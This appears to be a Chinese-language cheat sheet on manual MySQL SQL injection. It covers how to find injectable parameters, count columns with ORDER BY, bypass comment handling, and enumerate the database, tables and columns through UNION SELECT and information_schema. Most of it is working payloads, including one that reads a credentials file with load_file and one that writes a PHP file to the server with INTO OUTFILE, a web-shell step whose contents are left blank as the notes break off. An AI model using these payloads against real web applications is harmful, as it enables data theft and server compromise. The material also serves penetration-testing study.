如何判断注入点
- 真假 判断 注入
and 1=1 页面返回正常
and 1=2 页面返回错误
如果 and 1=2 返回正确 那么也可能
a='『id』'
a='1=and 1=2'
所以应该 1' and '1'='2 或 1' order by x --+
干扰符号 ' " % ) }等
2.猜解列名(字段数)
order by x 错误与正常的临界
SELECT * FROM 表名 where order_id="id" order by 2;
当 order by x 错误的时候 说明 只有 x-1 列
- 注释
使用#号
有时发现执行的sql语句中没有#号
原因是url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。
所以,HTTP请求中不包括#
将#号改成url的编码%23就可以了
使用–和使用–+
这里发现+号在语句中变成了空格。
用来和后面的单引号分隔开,将后面的语句注释。
了解原理后便知道了–无法使用的原因,是因为–与后面的单引号连接在一起,无法形成有效的mysql语句。
在mysql中使用这个语句分析原因,输入后回车显示分号没有闭合
所以在注入时我们除了使用–+外,也可以使用–'来完成sql注入语句
union select x,x,x,x,x
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1 union select 1,2;
-----------------
add_time,end_time|
-----------------|
1 |2 |
-----------------
信息收集
数据库版本 version()
数据库名字 database()
数据库用户 user()
操作系统 @@version_compile_os
information_schema.tables; 记录所有表名的表
information_schema.columns;记录所有列名的表
table_name;表名
table_schema;数据库名字
column_name;列名
mysql5.0 以上版本中,mysql 自带数据库名为 information_schema 它是一个存储所有数据库名 表名 列名
获取数据库名字:
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1 union select 1,database();
获取 数据库下的所有表:
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1
union select 1,table_name from information_schema.tables where table_schema="test_12";
获取 表下所有的列名
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1 union select 1, column_name from information_schema.columns where table_name="app_gift";
读取文件 load_file()
SELECT add_time,end_time FROM test_12.app_receipt where 1 = -1 union select 1,load_file('D:\\db-creds.inc');
写入文件 outfile
SELECT add_time,end_time,id FROM test_12.app_receipt where 1 = -1 union select 1,x,3,into outfile 'D:\\....\\x.php --+';
--+ 为注释后面的语句
该语句 可以在 服务器创建 一个x.php 文件 文件内容为:
反斜杠 单引号 转义 情况
对路径 编码 或者字节处理